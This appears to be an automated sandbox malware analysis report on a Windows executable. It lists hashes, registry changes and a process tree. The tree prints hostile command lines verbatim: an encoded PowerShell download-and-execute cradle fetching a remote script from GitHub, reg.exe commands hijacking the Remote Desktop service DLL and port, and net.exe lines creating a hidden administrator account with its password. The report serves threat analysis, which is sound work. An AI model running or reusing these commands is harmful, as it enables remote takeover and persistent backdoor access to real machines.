Analysis
- max time kernel
48s - max time network
111s - platform
windows10_x64 - resource
win10v20210410 - submitted
23/05/2021, 06:34
Static task
static1
Behavioral task
behavioral1
Sample
4d4cb53955f998f339000039ebd0685b.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
4d4cb53955f998f339000039ebd0685b.exe
Resource
win10v20210410
windows10_x64
0 signatures
0 seconds
General
- Target 4d4cb53955f998f339000039ebd0685b.exe
- Size 6.0MB
- Sample210523-tv8zybweee
- SHA256 39f4d59b94d2b39408e4dc962fbf2e65a79b234b46a42c6b05856e60acf7f95b
- MD5 4d4cb53955f998f339000039ebd0685b
- SHA1 49218231e8ce8358683bca89a28e3f533bd25700
- SHA512 651c27448bd488b9f2628bee4a05f4e25111882fffe398419815aa6239939bac8d39a3e951549acf084870d94c6461cc6c7e3e934f0049fcc7c80b69fbdab640
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Blocklisted process makes network request 9 IoCs
flow pid Process 16 652 powershell.exe 18 652 powershell.exe 19 652 powershell.exe 20 652 powershell.exe 22 652 powershell.exe 24 652 powershell.exe 26 652 powershell.exe 28 652 powershell.exe 30 652 powershell.exe - Modifies RDP port number used by Windows 1 TTPs
- Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral2/files/0x000800000001ab6a-216.dat upx behavioral2/files/0x000400000001ab6c-217.dat upx - Loads dropped DLL 2 IoCs
pid Process 3512 Process not Found 3512 Process not Found - Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe - Drops file in Windows directory 19 IoCs
description ioc Process File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4A2E.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_rxjr25zo.rcx.ps1 powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_2ib34hqk.g2m.psm1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4A4E.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4A6F.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4A5F.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI4A80.tmp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-20\Software powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data." powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\DisplayName = "Trusted sites" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1200 = "3" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\knownfolder = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Icon = "inetcpl.cpl#001313" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\ powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Classes\Local Settings\MuiCache powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 339704ea112ed701 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Description = "Your computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet." powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\CurrentLevel = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\http = "3" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\PMDisplayName = "Trusted sites [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4 powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\57fd7ae31ab34c2c = ",33,HKCU,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\5.0\\Cache\\Extensible Cache," powershell.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 1664 reg.exe - Runs net.exe
- Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 18 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 20 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 1972 powershell.exe 1972 powershell.exe 1972 powershell.exe 3820 powershell.exe 3820 powershell.exe 3820 powershell.exe 1528 powershell.exe 1528 powershell.exe 1528 powershell.exe 3160 powershell.exe 3160 powershell.exe 3160 powershell.exe 1972 powershell.exe 1972 powershell.exe 1972 powershell.exe 652 powershell.exe 652 powershell.exe 652 powershell.exe - Suspicious behavior: LoadsDriver 2 IoCs
pid Process 620 Process not Found 620 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1972 powershell.exe Token: SeDebugPrivilege 3820 powershell.exe Token: SeIncreaseQuotaPrivilege 3820 powershell.exe Token: SeSecurityPrivilege 3820 powershell.exe Token: SeTakeOwnershipPrivilege 3820 powershell.exe Token: SeLoadDriverPrivilege 3820 powershell.exe Token: SeSystemProfilePrivilege 3820 powershell.exe Token: SeSystemtimePrivilege 3820 powershell.exe Token: SeProfSingleProcessPrivilege 3820 powershell.exe Token: SeIncBasePriorityPrivilege 3820 powershell.exe Token: SeCreatePagefilePrivilege 3820 powershell.exe Token: SeBackupPrivilege 3820 powershell.exe Token: SeRestorePrivilege 3820 powershell.exe Token: SeShutdownPrivilege 3820 powershell.exe Token: SeDebugPrivilege 3820 powershell.exe Token: SeSystemEnvironmentPrivilege 3820 powershell.exe Token: SeRemoteShutdownPrivilege 3820 powershell.exe Token: SeUndockPrivilege 3820 powershell.exe Token: SeManageVolumePrivilege 3820 powershell.exe Token: 33 3820 powershell.exe Token: 34 3820 powershell.exe Token: 35 3820 powershell.exe Token: 36 3820 powershell.exe Token: SeDebugPrivilege 1528 powershell.exe Token: SeIncreaseQuotaPrivilege 1528 powershell.exe Token: SeSecurityPrivilege 1528 powershell.exe Token: SeTakeOwnershipPrivilege 1528 powershell.exe Token: SeLoadDriverPrivilege 1528 powershell.exe Token: SeSystemProfilePrivilege 1528 powershell.exe Token: SeSystemtimePrivilege 1528 powershell.exe Token: SeProfSingleProcessPrivilege 1528 powershell.exe Token: SeIncBasePriorityPrivilege 1528 powershell.exe Token: SeCreatePagefilePrivilege 1528 powershell.exe Token: SeBackupPrivilege 1528 powershell.exe Token: SeRestorePrivilege 1528 powershell.exe Token: SeShutdownPrivilege 1528 powershell.exe Token: SeDebugPrivilege 1528 powershell.exe Token: SeSystemEnvironmentPrivilege 1528 powershell.exe Token: SeRemoteShutdownPrivilege 1528 powershell.exe Token: SeUndockPrivilege 1528 powershell.exe Token: SeManageVolumePrivilege 1528 powershell.exe Token: 33 1528 powershell.exe Token: 34 1528 powershell.exe Token: 35 1528 powershell.exe Token: 36 1528 powershell.exe Token: SeDebugPrivilege 3160 powershell.exe Token: SeIncreaseQuotaPrivilege 3160 powershell.exe Token: SeSecurityPrivilege 3160 powershell.exe Token: SeTakeOwnershipPrivilege 3160 powershell.exe Token: SeLoadDriverPrivilege 3160 powershell.exe Token: SeSystemProfilePrivilege 3160 powershell.exe Token: SeSystemtimePrivilege 3160 powershell.exe Token: SeProfSingleProcessPrivilege 3160 powershell.exe Token: SeIncBasePriorityPrivilege 3160 powershell.exe Token: SeCreatePagefilePrivilege 3160 powershell.exe Token: SeBackupPrivilege 3160 powershell.exe Token: SeRestorePrivilege 3160 powershell.exe Token: SeShutdownPrivilege 3160 powershell.exe Token: SeDebugPrivilege 3160 powershell.exe Token: SeSystemEnvironmentPrivilege 3160 powershell.exe Token: SeRemoteShutdownPrivilege 3160 powershell.exe Token: SeUndockPrivilege 3160 powershell.exe Token: SeManageVolumePrivilege 3160 powershell.exe Token: 33 3160 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1832 wrote to memory of 1972 1832 4d4cb53955f998f339000039ebd0685b.exe 76 PID 1832 wrote to memory of 1972 1832 4d4cb53955f998f339000039ebd0685b.exe 76 PID 1972 wrote to memory of 3820 1972 powershell.exe 80 PID 1972 wrote to memory of 3820 1972 powershell.exe 80 PID 1972 wrote to memory of 1528 1972 powershell.exe 84 PID 1972 wrote to memory of 1528 1972 powershell.exe 84 PID 1972 wrote to memory of 3160 1972 powershell.exe 86 PID 1972 wrote to memory of 3160 1972 powershell.exe 86 PID 1972 wrote to memory of 1312 1972 powershell.exe 88 PID 1972 wrote to memory of 1312 1972 powershell.exe 88 PID 1972 wrote to memory of 1664 1972 powershell.exe 89 PID 1972 wrote to memory of 1664 1972 powershell.exe 89 PID 1972 wrote to memory of 1348 1972 powershell.exe 90 PID 1972 wrote to memory of 1348 1972 powershell.exe 90 PID 1972 wrote to memory of 652 1972 powershell.exe 91 PID 1972 wrote to memory of 652 1972 powershell.exe 91 PID 652 wrote to memory of 2364 652 net.exe 92 PID 652 wrote to memory of 2364 652 net.exe 92 PID 1972 wrote to memory of 3852 1972 powershell.exe 93 PID 1972 wrote to memory of 3852 1972 powershell.exe 93 PID 3852 wrote to memory of 1448 3852 cmd.exe 94 PID 3852 wrote to memory of 1448 3852 cmd.exe 94 PID 1448 wrote to memory of 788 1448 cmd.exe 95 PID 1448 wrote to memory of 788 1448 cmd.exe 95 PID 788 wrote to memory of 1532 788 net.exe 96 PID 788 wrote to memory of 1532 788 net.exe 96 PID 1972 wrote to memory of 3160 1972 powershell.exe 97 PID 1972 wrote to memory of 3160 1972 powershell.exe 97 PID 3160 wrote to memory of 3176 3160 cmd.exe 98 PID 3160 wrote to memory of 3176 3160 cmd.exe 98 PID 3176 wrote to memory of 3064 3176 cmd.exe 99 PID 3176 wrote to memory of 3064 3176 cmd.exe 99 PID 3064 wrote to memory of 3052 3064 net.exe 100 PID 3064 wrote to memory of 3052 3064 net.exe 100 PID 1824 wrote to memory of 3984 1824 cmd.exe 104 PID 1824 wrote to memory of 3984 1824 cmd.exe 104 PID 3984 wrote to memory of 644 3984 net.exe 105 PID 3984 wrote to memory of 644 3984 net.exe 105 PID 2844 wrote to memory of 2364 2844 cmd.exe 108 PID 2844 wrote to memory of 2364 2844 cmd.exe 108 PID 2364 wrote to memory of 2576 2364 net.exe 109 PID 2364 wrote to memory of 2576 2364 net.exe 109 PID 1152 wrote to memory of 652 1152 cmd.exe 112 PID 1152 wrote to memory of 652 1152 cmd.exe 112 PID 652 wrote to memory of 1408 652 net.exe 113 PID 652 wrote to memory of 1408 652 net.exe 113 PID 424 wrote to memory of 3852 424 cmd.exe 116 PID 424 wrote to memory of 3852 424 cmd.exe 116 PID 3852 wrote to memory of 2756 3852 net.exe 117 PID 3852 wrote to memory of 2756 3852 net.exe 117 PID 644 wrote to memory of 3092 644 cmd.exe 120 PID 644 wrote to memory of 3092 644 cmd.exe 120 PID 3092 wrote to memory of 2224 3092 net.exe 121 PID 3092 wrote to memory of 2224 3092 net.exe 121 PID 3984 wrote to memory of 1424 3984 cmd.exe 124 PID 3984 wrote to memory of 1424 3984 cmd.exe 124 PID 1424 wrote to memory of 1524 1424 net.exe 125 PID 1424 wrote to memory of 1524 1424 net.exe 125 PID 1408 wrote to memory of 1444 1408 cmd.exe 128 PID 1408 wrote to memory of 1444 1408 cmd.exe 128 PID 1448 wrote to memory of 1872 1448 cmd.exe 131 PID 1448 wrote to memory of 1872 1448 cmd.exe 131 PID 200 wrote to memory of 2756 200 cmd.exe 134 PID 200 wrote to memory of 2756 200 cmd.exe 134
Processes
-
C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe"C:\Users\Admin\AppData\Local\Temp\4d4cb53955f998f339000039ebd0685b.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1832 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3820
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1528
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3160
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1312
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:1664
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1348
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:2364
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:3852 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1448 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:788 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:1532
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:3160 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:3176 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:3052
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:4212
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:4228
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ghar4f5 /del1⤵
- Suspicious use of WriteProcessMemory
PID:1824 -
C:\Windows\system32\net.exenet.exe user wgautilacc Ghar4f5 /del2⤵
- Suspicious use of WriteProcessMemory
PID:3984 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ghar4f5 /del3⤵PID:644
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ql4BydZ0 /add1⤵
- Suspicious use of WriteProcessMemory
PID:2844 -
C:\Windows\system32\net.exenet.exe user wgautilacc Ql4BydZ0 /add2⤵
- Suspicious use of WriteProcessMemory
PID:2364 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ql4BydZ0 /add3⤵PID:2576
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:1152 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD3⤵PID:1408
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:424 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3852 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD3⤵PID:2756
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:644 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" wgautilacc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3092 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD3⤵PID:2224
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user wgautilacc Ql4BydZ01⤵
- Suspicious use of WriteProcessMemory
PID:3984 -
C:\Windows\system32\net.exenet.exe user wgautilacc Ql4BydZ02⤵
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc Ql4BydZ03⤵PID:1524
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
- Suspicious use of WriteProcessMemory
PID:1408 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵PID:1444
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵
- Suspicious use of WriteProcessMemory
PID:1448 -
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵PID:1872
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵
- Suspicious use of WriteProcessMemory
PID:200 -
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:2756
-
